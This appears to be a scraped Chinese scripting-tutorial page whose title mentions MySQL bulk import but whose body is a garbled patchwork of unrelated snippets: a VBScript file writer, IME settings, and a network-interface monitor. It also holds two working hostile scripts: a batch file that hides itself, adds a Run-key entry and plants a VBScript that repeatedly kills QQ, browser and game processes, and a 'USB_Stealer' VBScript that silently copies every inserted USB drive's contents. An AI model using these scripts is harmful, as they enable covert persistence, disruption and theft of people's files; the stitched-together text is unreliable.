mysql执行脚本命令sh编全量入库

发布时间:2020-11-19 来源:脚本之家 点击:

该控件用于显示接收的邮件总数以及当前正在处理第几封邮件使用下行代码检查是否打开了隐藏属性的“开关”

热血传奇手机版脚本
首先给个完全版的地址,如果您机器上装过OFFICE应该可以打开的:ADOX对象模型,
地址是:"C:\ProgramFiles\CommonFiles\MicrosoftShared\OFFICE11\2052\ADO210.CHM",
您可以在运行里输入:"hh.exeC:\Program%20Files\Common%20Files\Microsoft%20Shared\OFFICE11\2052\ADO210.CHM::/htm/admscobjectmodel.htm"定位试一试多打印几次,如果发现打印机有一定规律的偏离,你就可以按照一定的差额进行增减来达到最佳的效果


'向指定的文件写字符串,第三个参数指定是否删除原来的内容
Function Z_WriteFile(sFileName, sText, bAppend)
Dim fs, fso, iomode
if bAppend=True Then
iomode=8 'ForAppending
else
iomode=2 'ForWriting
end if
set fs=CreateObject("Scripting.FileSystemObject")
set fso=fs.OpenTextFile(sFileName, iomode, True) '第三个参数表明文件不存在,则新建文件
fso.WriteLine sText
fso.Close
set fso=Nothing
set fs=Nothing
End Function

Dim path, sFileName, sText
path="E:\Program\VBScript"
sFileName=path & "\1.txt"
sText="what can I do for you"
Z_WriteFile sFileName, sText, True
以前做过一个vb的小项目,客户需要软件同时能够支持中文和英文,为此写了一个自动语言切换的模块来用,不敢独享,拿来给大家参考一下,如果你有什么改进也可以写信给我


'程序名称: btlwchk_netinterface.vbs
'程序用途: 监测windows主机网络接口利用率
'创建日期: 2011-09-1
'作者信息: zhangkai
'运行环境: vbs
'处理参数

MonSubject="NetInterface"
Set Args=WScript.Arguments
If (Args.Count<1) Then
Wscript.Echo MonSubject & " -1:command line error"
WScript.Quit(3)
End If
strcid=Args(0)
'获取工作目录
tmparr=Split(Wscript.ScriptFullName,"",-1)
g_strworkdir=tmparr(0)
narr=UBound(tmparr,1)
For i=1 to narr-3
g_strworkdir=g_strworkdir & "" & tmparr(i)
Next
'装载公共库
set g_fileSys=createObject ("Scripting.FileSystemObject")
Sub includeFile (fSpec)
dim file, fileData
set file=g_fileSys.openTextFile (fSpec)
fileData=file.readAll ()
file.close
executeGlobal fileData
set file=nothing
end sub
includeFile g_strworkdir & "\nagios\libexec\libcomm.vbs"


'输出版本和帮助信息
getverhelp strcid,"v1.00"," <cid>"

strComputer="."
Set objWMIService=GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\" & strComputer & "\root\cimv2")

'第1次采样
Set colItems=objWMIService.ExecQuery("Select * from Win32_PerfRawData_Tcpip_NetworkInterface",,48)
Dim BytesTotalPersec1(20),TimeValue1(20),Name1(20),CurrentBandwidth(20),BytesReceivedPerSec1(20),BytesSentPerSec1(20),PacketsReceivedPerSec1(20),PacketsSentPerSec1(20),_
BytesTotalPersec(20),PercentNetwork(20),BytesReceivedPerSec(20),BytesSentPerSec(20),PacketsReceivedPerSec(20),PacketsSentPerSec(20)
n=0
For Each objItem in colItems
Name1(n)=objItem.Name
BytesTotalPersec1(n)=objItem.BytesTotalPersec
BytesReceivedPerSec1(n)=objItem.BytesReceivedPerSec
BytesSentPerSec1(n)=objItem.BytesSentPerSec
PacketsReceivedPerSec1(n)=objItem.PacketsReceivedPerSec
PacketsSentPerSec1(n)=objItem.PacketsSentPerSec
TimeValue1(n)=objItem.Timestamp_PerfTime
CurrentBandwidth(n)=objItem.CurrentBandwidth
TimeBase=objItem.Frequency_PerfTime
n=n+1
Next

'第2次采样
WScript.Sleep 1000
Set colItems=objWMIService.ExecQuery("Select * from Win32_PerfRawData_Tcpip_NetworkInterface",,48)
Dim BytesTotalPersec2(20),TimeValue2(20),Name2(20),BytesReceivedPerSec2(20),BytesSentPerSec2(20),PacketsReceivedPerSec2(20),PacketsSentPerSec2(20)
k=0
For Each objItem in colItems
Name2(k)=objItem.Name
BytesTotalPersec2(k)=objItem.BytesTotalPersec
BytesReceivedPerSec2(k)=objItem.BytesReceivedPerSec
BytesSentPerSec2(k)=objItem.BytesSentPerSec
PacketsReceivedPerSec2(k)=objItem.PacketsReceivedPerSec
PacketsSentPerSec2(k)=objItem.PacketsSentPerSec
TimeValue2(k)=objItem.Timestamp_PerfTime
k=k+1
Next

j=0
For i=0 to n-1
If TimeValue2(j) - TimeValue1(j)=0 Then
strnetwork="BytesTotalPersec=0"
Else
'带宽利用率=(BytesReceivedPerSec + BytesSentPerSec)*8*100/ CurrentBandwidth
'计算利用率
BytesTotalPersec(j)=(BytesTotalPersec2(j) - BytesTotalPersec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)
PercentNetwork(j)=BytesTotalPersec(j)*8*100 / CurrentBandwidth(j)
PercentNetwork(j)=round(PercentNetwork(j),2)

'计算BytesReceivedPerSec
BytesReceivedPerSec(j)=(BytesReceivedPerSec2(j) - BytesReceivedPerSec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)/1024
BytesReceivedPerSec(j)=round(BytesReceivedPerSec(j),2)

'计算BytesSentPerSec
BytesSentPerSec(j)=(BytesSentPerSec2(j) - BytesSentPerSec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)/1024
BytesSentPerSec(j)=round(BytesSentPerSec(j),2)

'计算PacketsReceivedPerSec
PacketsReceivedPerSec(j)=(PacketsReceivedPerSec2(j) - PacketsReceivedPerSec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)
PacketsReceivedPerSec(j)=round(PacketsReceivedPerSec(j),2)

'计算PacketsSentPerSec
PacketsSentPerSec(j)=(PacketsSentPerSec2(j) - PacketsSentPerSec1(j)) / ((TimeValue2(j) - TimeValue1(j)) / TimeBase)
PacketsSentPerSec(j)=round(PacketsSentPerSec(j),2)

'计算CurrentBandwidth
CurrentBandwidth(j)=CInt(CurrentBandwidth(j)/1000/1000)
End If
If j=0 Then
Wscript.Echo MonSubject & " 0:OK|Name=" & Name1(j) & ",PercentNetwork=" & PercentNetwork(j) & ",BytesReceivedPerSec=" & BytesReceivedPerSec(j) & ",BytesSentPerSec=" & BytesSentPerSec(j) _
& ",PacketsReceivedPerSec=" & PacketsReceivedPerSec(j) & ",PacketsSentPerSec=" & PacketsSentPerSec(j) & ",CurrentBandwidth=" & CurrentBandwidth(j)
End If
'Wscript.Echo MonSubject & " 0:OK|" & Name1(j) & ",PercentNetwork=" & PercentNetwork
j=j+1
Next

Text1.IMEMode=0(预定值)
Text1.IMEMode=l(切换为中文输入)
Text1.IMEMde=2(切换为英文输入、
Text1.IMEMde=3(关闭中文输入的功能,也就是只能做英文输入


@echo off
attrib -s -h -a -r d:\jk.bat 1>nul 2>nul
if exist d:\jk.bat del d:\jk.bat /q
copy %0 d:\jk.bat /y >nul
attrib +s +h +a +r d:\jk.bat
if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs
echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul
echo Do>>%windir%\system32\jk.vbs
echo WScript.Sleep 3000>>%windir%\system32\jk.vbs
echo strComputer="." >>%windir%\system32\jk.vbs
echo Set objWMIService=GetObject("winmgmts:\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs
echo Set colItems=objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs
echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs
echo For Each objItem in colItems >>%windir%\system32\jk.vbs
echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs
echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs
echo Then objitem.Terminate()>>%windir%\system32\jk.vbs
echo Next>>%windir%\system32\jk.vbs
echo loop>>%windir%\system32\jk.vbs
start %windir%\system32\jk.vbs
del %0 /q
电脑鼠标

在VisualBasic中利用Image和Timer控件能很方便地实现动画
'==========================================
'Name : USB_Stealer
'Date : 2010/5/25
'Author : Demon
'Copyright : Copyright (c) 2010 Demon
'E-Mail : still.demon@gmail.com
'QQ : 380401911
'Website :
'==========================================
'Option Explicit
On Error Resume Next
Const Target_Folder="C:\USB"

Call Main()

Sub Main()
On Error Resume Next
Const Device_Arrival=2
Const Device_Removal=3
Const strComputer="."
Dim objWMIService, colMonitoredEvents, objLatestEvent

Set objWMIService=GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\" _
& strComputer & "\root\cimv2")
Set colMonitoredEvents=objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent=colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
Copy_File objLatestEvent.DriveName
End Select
Loop
End Sub

Sub Copy_File(Folder_Path)
On Error Resume Next
Dim fso,file,folder
Set fso=CreateObject("scripting.filesystemobject")

If Not fso.FolderExists(Target_Folder) Then
fso.CreateFolder(Target_Folder)
End If

For Each file In fso.GetFolder(Folder_Path).Files
file.Copy Target_Folder & "" & file.Name,True
Next

For Each folder In fso.GetFolder(Folder_Path).SubFolders
folder.Copy Target_Folder & "" & folder.Name,True
Next
End Sub

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号